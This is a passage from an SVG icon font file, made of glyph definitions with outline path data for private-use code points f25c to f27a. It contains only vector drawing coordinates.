d="M1288 889q60 0 107 -23q141 -63 141 -226v-177q0 -94 -23 -186l-85 -339q-21 -86 -90.5 -140t-157.5 -54h-668q-106 0 -181 75t-75 181v401l-239 628q-17 45 -17 91q0 106 75 181t181 75q80 0 145.5 -45.5t93.5 -119.5l17 -44v113q0 106 75 181t181 75t181 -75t75 -181
v-261q27 5 48 5q69 0 127.5 -36.5t88.5 -98.5zM1072 896q-33 0 -60.5 -18t-41.5 -48l-74 -163l-71 -155h55q50 0 90 -31.5t50 -80.5l154 338q10 20 10 46q0 46 -33 79t-79 33zM1293 761q-22 0 -40.5 -8t-29 -16t-23.5 -29.5t-17 -30.5t-17 -37l-132 -290q-10 -20 -10 -46
q0 -46 33 -79t79 -33q33 0 60.5 18t41.5 48l160 352q9 18 9 38q0 50 -32 81.5t-82 31.5zM128 1120q0 -22 8 -46l248 -650v-69l102 111q43 46 106 46h198l106 233v535q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5v-640h-64l-200 526q-14 37 -47 59.5t-73 22.5
q-53 0 -90.5 -37.5t-37.5 -90.5zM1180 -128q44 0 78.5 27t45.5 70l85 339q19 73 19 155v91l-141 -310q-17 -38 -53 -61t-78 -23q-53 0 -93.5 34.5t-48.5 86.5q-44 -57 -114 -57h-208v32h208q46 0 81 33t35 79t-31 79t-77 33h-296q-49 0 -82 -36l-126 -136v-308
q0 -53 37.5 -90.5t90.5 -37.5h668z" />
    <glyph glyph-name="_567" unicode="&#xf25c;" horiz-adv-x="1973" 
d="M857 992v-117q0 -13 -9.5 -22t-22.5 -9h-298v-812q0 -13 -9 -22.5t-22 -9.5h-135q-13 0 -22.5 9t-9.5 23v812h-297q-13 0 -22.5 9t-9.5 22v117q0 14 9 23t23 9h793q13 0 22.5 -9.5t9.5 -22.5zM1895 995l77 -961q1 -13 -8 -24q-10 -10 -23 -10h-134q-12 0 -21 8.5
t-10 20.5l-46 588l-189 -425q-8 -19 -29 -19h-120q-20 0 -29 19l-188 427l-45 -590q-1 -12 -10 -20.5t-21 -8.5h-135q-13 0 -23 10q-9 10 -9 24l78 961q1 12 10 20.5t21 8.5h142q20 0 29 -19l220 -520q10 -24 20 -51q3 7 9.5 24.5t10.5 26.5l221 520q9 19 29 19h141
q13 0 22 -8.5t10 -20.5z" />
    <glyph glyph-name="_568" unicode="&#xf25d;" horiz-adv-x="1792" 
d="M1042 833q0 88 -60 121q-33 18 -117 18h-123v-281h162q66 0 102 37t36 105zM1094 548l205 -373q8 -17 -1 -31q-8 -16 -27 -16h-152q-20 0 -28 17l-194 365h-155v-350q0 -14 -9 -23t-23 -9h-134q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h294q128 0 190 -24q85 -31 134 -109
t49 -180q0 -92 -42.5 -165.5t-115.5 -109.5q6 -10 9 -16zM896 1376q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM1792 640
q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_569" unicode="&#xf25e;" horiz-adv-x="1792" 
d="M605 303q153 0 257 104q14 18 3 36l-45 82q-6 13 -24 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78
q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-148 0 -246 -96.5t-98 -240.5q0 -146 97 -241.5t247 -95.5zM1235 303q153 0 257 104q14 18 4 36l-45 82q-8 14 -25 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5
t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-147 0 -245.5 -96.5t-98.5 -240.5q0 -146 97 -241.5t247 -95.5zM896 1376
q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71z" />
    <glyph glyph-name="f260" unicode="&#xf260;" horiz-adv-x="2048" 
d="M736 736l384 -384l-384 -384l-672 672l672 672l168 -168l-96 -96l-72 72l-480 -480l480 -480l193 193l-289 287zM1312 1312l672 -672l-672 -672l-168 168l96 96l72 -72l480 480l-480 480l-193 -193l289 -287l-96 -96l-384 384z" />
    <glyph glyph-name="f261" unicode="&#xf261;" horiz-adv-x="1792" 
d="M717 182l271 271l-279 279l-88 -88l192 -191l-96 -96l-279 279l279 279l40 -40l87 87l-127 128l-454 -454zM1075 190l454 454l-454 454l-271 -271l279 -279l88 88l-192 191l96 96l279 -279l-279 -279l-40 40l-87 -88zM1792 640q0 -182 -71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_572" unicode="&#xf262;" horiz-adv-x="2304" 
d="M651 539q0 -39 -27.5 -66.5t-65.5 -27.5q-39 0 -66.5 27.5t-27.5 66.5q0 38 27.5 65.5t66.5 27.5q38 0 65.5 -27.5t27.5 -65.5zM1805 540q0 -39 -27.5 -66.5t-66.5 -27.5t-66.5 27.5t-27.5 66.5t27.5 66t66.5 27t66.5 -27t27.5 -66zM765 539q0 79 -56.5 136t-136.5 57
t-136.5 -56.5t-56.5 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM1918 540q0 80 -56.5 136.5t-136.5 56.5q-79 0 -136 -56.5t-57 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM850 539q0 -116 -81.5 -197.5t-196.5 -81.5q-116 0 -197.5 82t-81.5 197
t82 196.5t197 81.5t196.5 -81.5t81.5 -196.5zM2004 540q0 -115 -81.5 -196.5t-197.5 -81.5q-115 0 -196.5 81.5t-81.5 196.5t81.5 196.5t196.5 81.5q116 0 197.5 -81.5t81.5 -196.5zM1040 537q0 191 -135.5 326.5t-326.5 135.5q-125 0 -231 -62t-168 -168.5t-62 -231.5
t62 -231.5t168 -168.5t231 -62q191 0 326.5 135.5t135.5 326.5zM1708 1110q-254 111 -556 111q-319 0 -573 -110q117 0 223 -45.5t182.5 -122.5t122 -183t45.5 -223q0 115 43.5 219.5t118 180.5t177.5 123t217 50zM2187 537q0 191 -135 326.5t-326 135.5t-326.5 -135.5
t-135.5 -326.5t135.5 -326.5t326.5 -135.5t326 135.5t135 326.5zM1921 1103h383q-44 -51 -75 -114.5t-40 -114.5q110 -151 110 -337q0 -156 -77 -288t-209 -208.5t-287 -76.5q-133 0 -249 56t-196 155q-47 -56 -129 -179q-11 22 -53.5 82.5t-74.5 97.5
q-80 -99 -196.5 -155.5t-249.5 -56.5q-155 0 -287 76.5t-209 208.5t-77 288q0 186 110 337q-9 51 -40 114.5t-75 114.5h365q149 100 355 156.5t432 56.5q224 0 421 -56t348 -157z" />
    <glyph glyph-name="f263" unicode="&#xf263;" horiz-adv-x="1280" 
d="M640 629q-188 0 -321 133t-133 320q0 188 133 321t321 133t321 -133t133 -321q0 -187 -133 -320t-321 -133zM640 1306q-92 0 -157.5 -65.5t-65.5 -158.5q0 -92 65.5 -157.5t157.5 -65.5t157.5 65.5t65.5 157.5q0 93 -65.5 158.5t-157.5 65.5zM1163 574q13 -27 15 -49.5
t-4.5 -40.5t-26.5 -38.5t-42.5 -37t-61.5 -41.5q-115 -73 -315 -94l73 -72l267 -267q30 -31 30 -74t-30 -73l-12 -13q-31 -30 -74 -30t-74 30q-67 68 -267 268l-267 -268q-31 -30 -74 -30t-73 30l-12 13q-31 30 -31 73t31 74l267 267l72 72q-203 21 -317 94
q-39 25 -61.5 41.5t-42.5 37t-26.5 38.5t-4.5 40.5t15 49.5q10 20 28 35t42 22t56 -2t65 -35q5 -4 15 -11t43 -24.5t69 -30.5t92 -24t113 -11q91 0 174 25.5t120 50.5l38 25q33 26 65 35t56 2t42 -22t28 -35z" />
    <glyph glyph-name="_574" unicode="&#xf264;" 
d="M927 956q0 -66 -46.5 -112.5t-112.5 -46.5t-112.5 46.5t-46.5 112.5t46.5 112.5t112.5 46.5t112.5 -46.5t46.5 -112.5zM1141 593q-10 20 -28 32t-47.5 9.5t-60.5 -27.5q-10 -8 -29 -20t-81 -32t-127 -20t-124 18t-86 36l-27 18q-31 25 -60.5 27.5t-47.5 -9.5t-28 -32
q-22 -45 -2 -74.5t87 -73.5q83 -53 226 -67l-51 -52q-142 -142 -191 -190q-22 -22 -22 -52.5t22 -52.5l9 -9q22 -22 52.5 -22t52.5 22l191 191q114 -115 191 -191q22 -22 52.5 -22t52.5 22l9 9q22 22 22 52.5t-22 52.5l-191 190l-52 52q141 14 225 67q67 44 87 73.5t-2 74.5
zM1092 956q0 134 -95 229t-229 95t-229 -95t-95 -229t95 -229t229 -95t229 95t95 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_575" unicode="&#xf265;" horiz-adv-x="1720" 
d="M1565 1408q65 0 110 -45.5t45 -110.5v-519q0 -176 -68 -336t-182.5 -275t-274 -182.5t-334.5 -67.5q-176 0 -335.5 67.5t-274.5 182.5t-183 275t-68 336v519q0 64 46 110t110 46h1409zM861 344q47 0 82 33l404 388q37 35 37 85q0 49 -34.5 83.5t-83.5 34.5q-47 0 -82 -33
l-323 -310l-323 310q-35 33 -81 33q-49 0 -83.5 -34.5t-34.5 -83.5q0 -51 36 -85l405 -388q33 -33 81 -33z" />
    <glyph glyph-name="_576" unicode="&#xf266;" horiz-adv-x="2304" 
d="M1494 -103l-295 695q-25 -49 -158.5 -305.5t-198.5 -389.5q-1 -1 -27.5 -0.5t-26.5 1.5q-82 193 -255.5 587t-259.5 596q-21 50 -66.5 107.5t-103.5 100.5t-102 43q0 5 -0.5 24t-0.5 27h583v-50q-39 -2 -79.5 -16t-66.5 -43t-10 -64q26 -59 216.5 -499t235.5 -540
q31 61 140 266.5t131 247.5q-19 39 -126 281t-136 295q-38 69 -201 71v50l513 -1v-47q-60 -2 -93.5 -25t-12.5 -69q33 -70 87 -189.5t86 -187.5q110 214 173 363q24 55 -10 79.5t-129 26.5q1 7 1 25v24q64 0 170.5 0.5t180 1t92.5 0.5v-49q-62 -2 -119 -33t-90 -81
l-213 -442q13 -33 127.5 -290t121.5 -274l441 1017q-14 38 -49.5 62.5t-65 31.5t-55.5 8v50l460 -4l1 -2l-1 -44q-139 -4 -201 -145q-526 -1216 -559 -1291h-49z" />
    <glyph glyph-name="_577" unicode="&#xf267;" horiz-adv-x="1792" 
d="M949 643q0 -26 -16.5 -45t-41.5 -19q-26 0 -45 16.5t-19 41.5q0 26 17 45t42 19t44 -16.5t19 -41.5zM964 585l350 581q-9 -8 -67.5 -62.5t-125.5 -116.5t-136.5 -127t-117 -110.5t-50.5 -51.5l-349 -580q7 7 67 62t126 116.5t136 127t117 111t50 50.5zM1611 640
q0 -201 -104 -371q-3 2 -17 11t-26.5 16.5t-16.5 7.5q-13 0 -13 -13q0 -10 59 -44q-74 -112 -184.5 -190.5t-241.5 -110.5l-16 67q-1 10 -15 10q-5 0 -8 -5.5t-2 -9.5l16 -68q-72 -15 -146 -15q-199 0 -372 105q1 2 13 20.5t21.5 33.5t9.5 19q0 13 -13 13q-6 0 -17 -14.5
t-22.5 -34.5t-13.5 -23q-113 75 -192 187.5t-110 244.5l69 15q10 3 10 15q0 5 -5.5 8t-10.5 2l-68 -15q-14 72 -14 139q0 206 109 379q2 -1 18.5 -12t30 -19t17.5 -8q13 0 13 12q0 6 -12.5 15.5t-32.5 21.5l-20 12q77 112 189 189t244 107l15 -67q2 -10 15 -10q5 0 8 5.5
t2 10.5l-15 66q71 13 134 13q204 0 379 -109q-39 -56 -39 -65q0 -13 12 -13q11 0 48 64q111 -75 187.5 -186t107.5 -241l-56 -12q-10 -2 -10 -16q0 -5 5.5 -8t9.5 -2l57 13q14 -72 14 -140zM1696 640q0 163 -63.5 311t-170.5 255t-255 170.5t-311 63.5t-311 -63.5
t-255 -170.5t-170.5 -255t-63.5 -311t63.5 -311t170.5 -255t255 -170.5t311 -63.5t311 63.5t255 170.5t170.5 255t63.5 311zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191
t191 -286t71 -348z" />
    <glyph glyph-name="_578" unicode="&#xf268;" horiz-adv-x="1792" 
d="M893 1536q240 2 451 -120q232 -134 352 -372l-742 39q-160 9 -294 -74.5t-185 -229.5l-276 424q128 159 311 245.5t383 87.5zM146 1131l337 -663q72 -143 211 -217t293 -45l-230 -451q-212 33 -385 157.5t-272.5 316t-99.5 411.5q0 267 146 491zM1732 962
q58 -150 59.5 -310.5t-48.5 -306t-153 -272t-246 -209.5q-230 -133 -498 -119l405 623q88 131 82.5 290.5t-106.5 277.5zM896 942q125 0 213.5 -88.5t88.5 -213.5t-88.5 -213.5t-213.5 -88.5t-213.5 88.5t-88.5 213.5t88.5 213.5t213.5 88.5z" />
    <glyph glyph-name="_579" unicode="&#xf269;" horiz-adv-x="1792" 
d="M903 -256q-283 0 -504.5 150.5t-329.5 398.5q-58 131 -67 301t26 332.5t111 312t179 242.5l-11 -281q11 14 68 15.5t70 -15.5q42 81 160.5 138t234.5 59q-54 -45 -119.5 -148.5t-58.5 -163.5q25 -8 62.5 -13.5t63 -7.5t68 -4t50.5 -3q15 -5 9.5 -45.5t-30.5 -75.5
q-5 -7 -16.5 -18.5t-56.5 -35.5t-101 -34l15 -189l-139 67q-18 -43 -7.5 -81.5t36 -66.5t65.5 -41.5t81 -6.5q51 9 98 34.5t83.5 45t73.5 17.5q61 -4 89.5 -33t19.5 -65q-1 -2 -2.5 -5.5t-8.5 -12.5t-18 -15.5t-31.5 -10.5t-46.5 -1q-60 -95 -144.5 -135.5t-209.5 -29.5
q74 -61 162.5 -82.5t168.5 -6t154.5 52t128 87.5t80.5 104q43 91 39 192.5t-37.5 188.5t-78.5 125q87 -38 137 -79.5t77 -112.5q15 170 -57.5 343t-209.5 284q265 -77 412 -279.5t151 -517.5q2 -127 -40.5 -255t-123.5 -238t-189 -196t-247.5 -135.5t-288.5 -49.5z" />
    <glyph glyph-name="_580" unicode="&#xf26a;" horiz-adv-x="1792" 
d="M1493 1308q-165 110 -359 110q-155 0 -293 -73t-240 -200q-75 -93 -119.5 -218t-48.5 -266v-42q4 -141 48.5 -266t119.5 -218q102 -127 240 -200t293 -73q194 0 359 110q-121 -108 -274.5 -168t-322.5 -60q-29 0 -43 1q-175 8 -333 82t-272 193t-181 281t-67 339
q0 182 71 348t191 286t286 191t348 71h3q168 -1 320.5 -60.5t273.5 -167.5zM1792 640q0 -192 -77 -362.5t-213 -296.5q-104 -63 -222 -63q-137 0 -255 84q154 56 253.5 233t99.5 405q0 227 -99 404t-253 234q119 83 254 83q119 0 226 -65q135 -125 210.5 -295t75.5 -361z
" />
    <glyph glyph-name="_581" unicode="&#xf26b;" horiz-adv-x="1792" 
d="M1792 599q0 -56 -7 -104h-1151q0 -146 109.5 -244.5t257.5 -98.5q99 0 185.5 46.5t136.5 130.5h423q-56 -159 -170.5 -281t-267.5 -188.5t-321 -66.5q-187 0 -356 83q-228 -116 -394 -116q-237 0 -237 263q0 115 45 275q17 60 109 229q199 360 475 606
q-184 -79 -427 -354q63 274 283.5 449.5t501.5 175.5q30 0 45 -1q255 117 433 117q64 0 116 -13t94.5 -40.5t66.5 -76.5t24 -115q0 -116 -75 -286q101 -182 101 -390zM1722 1239q0 83 -53 132t-137 49q-108 0 -254 -70q121 -47 222.5 -131.5t170.5 -195.5q51 135 51 216z
M128 2q0 -86 48.5 -132.5t134.5 -46.5q115 0 266 83q-122 72 -213.5 183t-137.5 245q-98 -205 -98 -332zM632 715h728q-5 142 -113 237t-251 95q-144 0 -251.5 -95t-112.5 -237z" />
    <glyph glyph-name="_582" unicode="&#xf26c;" horiz-adv-x="2048" 
d="M1792 288v960q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1248v-960q0 -66 -47 -113t-113 -47h-736v-128h352q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23
v64q0 14 9 23t23 9h352v128h-736q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_583" unicode="&#xf26d;" horiz-adv-x="1792" 
d="M138 1408h197q-70 -64 -126 -149q-36 -56 -59 -115t-30 -125.5t-8.5 -120t10.5 -132t21 -126t28 -136.5q4 -19 6 -28q51 -238 81 -329q57 -171 152 -275h-272q-48 0 -82 34t-34 82v1304q0 48 34 82t82 34zM1346 1408h308q48 0 82 -34t34 -82v-1304q0 -48 -34 -82t-82 -34
h-178q212 210 196 565l-469 -101q-2 -45 -12 -82t-31 -72t-59.5 -59.5t-93.5 -36.5q-123 -26 -199 40q-32 27 -53 61t-51.5 129t-64.5 258q-35 163 -45.5 263t-5.5 139t23 77q20 41 62.5 73t102.5 45q45 12 83.5 6.5t67 -17t54 -35t43 -48t34.5 -56.5l468 100
q-68 175 -180 287z" />
    <glyph glyph-name="_584" unicode="&#xf26e;" 
d="M1401 -11l-6 -6q-113 -113 -259 -175q-154 -64 -317 -64q-165 0 -317 64q-148 63 -259 175q-113 112 -175 258q-42 103 -54 189q-4 28 48 36q51 8 56 -20q1 -1 1 -4q18 -90 46 -159q50 -124 152 -226q98 -98 226 -152q132 -56 276 -56q143 0 276 56q128 55 225 152l6 6
q10 10 25 6q12 -3 33 -22q36 -37 17 -58zM929 604l-66 -66l63 -63q21 -21 -7 -49q-17 -17 -32 -17q-10 0 -19 10l-62 61l-66 -66q-5 -5 -15 -5q-15 0 -31 16l-2 2q-18 15 -18 29q0 7 8 17l66 65l-66 66q-16 16 14 45q18 18 31 18q6 0 13 -5l65 -66l65 65q18 17 48 -13
q27 -27 11 -44zM1400 547q0 -118 -46 -228q-45 -105 -126 -186q-80 -80 -187 -126t-228 -46t-228 46t-187 126q-82 82 -125 186q-15 33 -15 40h-1q-9 27 43 44q50 16 60 -12q37 -99 97 -167h1v339v2q3 136 102 232q105 103 253 103q147 0 251 -103t104 -249
q0 -147 -104.5 -251t-250.5 -104q-58 0 -112 16q-28 11 -13 61q16 51 44 43l14 -3q14 -3 33 -6t30 -3q104 0 176 71.5t72 174.5q0 101 -72 171q-71 71 -175 71q-107 0 -178 -80q-64 -72 -64 -160v-413q110 -67 242 -67q96 0 185 36.5t156 103.5t103.5 155t36.5 183
q0 198 -141 339q-140 140 -339 140q-200 0 -340 -140q-53 -53 -77 -87l-2 -2q-8 -11 -13 -15.5t-21.5 -9.5t-38.5 3q-21 5 -36.5 16.5t-15.5 26.5v680q0 15 10.5 26.5t27.5 11.5h877q30 0 30 -55t-30 -55h-811v-483h1q40 42 102 84t108 61q109 46 231 46q121 0 228 -46
t187 -126q81 -81 126 -186q46 -112 46 -229zM1369 1128q9 -8 9 -18t-5.5 -18t-16.5 -21q-26 -26 -39 -26q-9 0 -16 7q-106 91 -207 133q-128 56 -276 56q-133 0 -262 -49q-27 -10 -45 37q-9 25 -8 38q3 16 16 20q130 57 299 57q164 0 316 -64q137 -58 235 -152z" />
    <glyph glyph-name="_585" unicode="&#xf270;" horiz-adv-x="1792" 
d="M1551 60q15 6 26 3t11 -17.5t-15 -33.5q-13 -16 -44 -43.5t-95.5 -68t-141 -74t-188 -58t-229.5 -24.5q-119 0 -238 31t-209 76.5t-172.5 104t-132.5 105t-84 87.5q-8 9 -10 16.5t1 12t8 7t11.5 2t11.5 -4.5q192 -117 300 -166q389 -176 799 -90q190 40 391 135z
M1758 175q11 -16 2.5 -69.5t-28.5 -102.5q-34 -83 -85 -124q-17 -14 -26 -9t0 24q21 45 44.5 121.5t6.5 98.5q-5 7 -15.5 11.5t-27 6t-29.5 2.5t-35 0t-31.5 -2t-31 -3t-22.5 -2q-6 -1 -13 -1.5t-11 -1t-8.5 -1t-7 -0.5h-5.5h-4.5t-3 0.5t-2 1.5l-1.5 3q-6 16 47 40t103 30
q46 7 108 1t76 -24zM1364 618q0 -31 13.5 -64t32 -58t37.5 -46t33 -32l13 -11l-227 -224q-40 37 -79 75.5t-58 58.5l-19 20q-11 11 -25 33q-38 -59 -97.5 -102.5t-127.5 -63.5t-140 -23t-137.5 21t-117.5 65.5t-83 113t-31 162.5q0 84 28 154t72 116.5t106.5 83t122.5 57
t130 34.5t119.5 18.5t99.5 6.5v127q0 65 -21 97q-34 53 -121 53q-6 0 -16.5 -1t-40.5 -12t-56 -29.5t-56 -59.5t-48 -96l-294 27q0 60 22 119t67 113t108 95t151.5 65.5t190.5 24.5q100 0 181 -25t129.5 -61.5t81 -83t45 -86t12.5 -73.5v-589zM692 597q0 -86 70 -133
q66 -44 139 -22q84 25 114 123q14 45 14 101v162q-59 -2 -111 -12t-106.5 -33.5t-87 -71t-32.5 -114.5z" />
    <glyph glyph-name="_586" unicode="&#xf271;" horiz-adv-x="1792" 
d="M1536 1280q52 0 90 -38t38 -90v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128zM1152 1376v-288q0 -14 9 -23t23 -9
h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 1376v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM1536 -128v1024h-1408v-1024h1408zM896 448h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224
v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224z" />
    <glyph glyph-name="_587" unicode="&#xf272;" horiz-adv-x="1792" 
d="M1152 416v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23
t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_588" unicode="&#xf273;" horiz-adv-x="1792" 
d="M1111 151l-46 -46q-9 -9 -22 -9t-23 9l-188 189l-188 -189q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22t9 23l189 188l-189 188q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l188 -188l188 188q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23l-188 -188l188 -188q9 -10 9 -23t-9 -22z
M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_589" unicode="&#xf274;" horiz-adv-x="1792" 
d="M1303 572l-512 -512q-10 -9 -23 -9t-23 9l-288 288q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l220 -220l444 444q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23
t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_590" unicode="&#xf275;" horiz-adv-x="1792" 
d="M448 1536q26 0 45 -19t19 -45v-891l536 429q17 14 40 14q26 0 45 -19t19 -45v-379l536 429q17 14 40 14q26 0 45 -19t19 -45v-1152q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h384z" />
    <glyph glyph-name="_591" unicode="&#xf276;" horiz-adv-x="1024" 
d="M512 448q66 0 128 15v-655q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v655q62 -15 128 -15zM512 1536q212 0 362 -150t150 -362t-150 -362t-362 -150t-362 150t-150 362t150 362t362 150zM512 1312q14 0 23 9t9 23t-9 23t-23 9q-146 0 -249 -103t-103 -249
q0 -14 9 -23t23 -9t23 9t9 23q0 119 84.5 203.5t203.5 84.5z" />
    <glyph glyph-name="_592" unicode="&#xf277;" horiz-adv-x="1792" 
d="M1745 1239q10 -10 10 -23t-10 -23l-141 -141q-28 -28 -68 -28h-1344q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h576v64q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-64h512q40 0 68 -28zM768 320h256v-512q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v512zM1600 768
q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-1344q-40 0 -68 28l-141 141q-10 10 -10 23t10 23l141 141q28 28 68 28h512v192h256v-192h576z" />
    <glyph glyph-name="_593" unicode="&#xf278;" horiz-adv-x="2048" 
d="M2020 1525q28 -20 28 -53v-1408q0 -20 -11 -36t-29 -23l-640 -256q-24 -11 -48 0l-616 246l-616 -246q-10 -5 -24 -5q-19 0 -36 11q-28 20 -28 53v1408q0 20 11 36t29 23l640 256q24 11 48 0l616 -246l616 246q32 13 60 -6zM736 1390v-1270l576 -230v1270zM128 1173
v-1270l544 217v1270zM1920 107v1270l-544 -217v-1270z" />
    <glyph glyph-name="_594" unicode="&#xf279;" horiz-adv-x="1792" 
d="M512 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472q0 20 17 28l480 256q7 4 15 4zM1760 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472
q0 20 17 28l480 256q7 4 15 4zM640 1536q8 0 14 -3l512 -256q18 -10 18 -29v-1472q0 -13 -9.5 -22.5t-22.5 -9.5q-8 0 -14 3l-512 256q-18 10 -18 29v1472q0 13 9.5 22.5t22.5 9.5z" />
    <glyph glyph-name="_595" unicode="&#xf27a;" horiz-adv-x="1792" 
d="M640 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 640q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-110 0 -211 18q-173 -173 -435 -229q-52 -10 -86 -13q-12 -1 -22 6t-13 18q-4 15 20 37q5 5 23.5 21.5t25.5 23.5t23.5 25.5t24 31.5t20.5 37
t20 48t14.5 57.5t12.5 72.5q-146 90 -229.5 216.5t-83.5 269.5q0 174 120 321.5t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
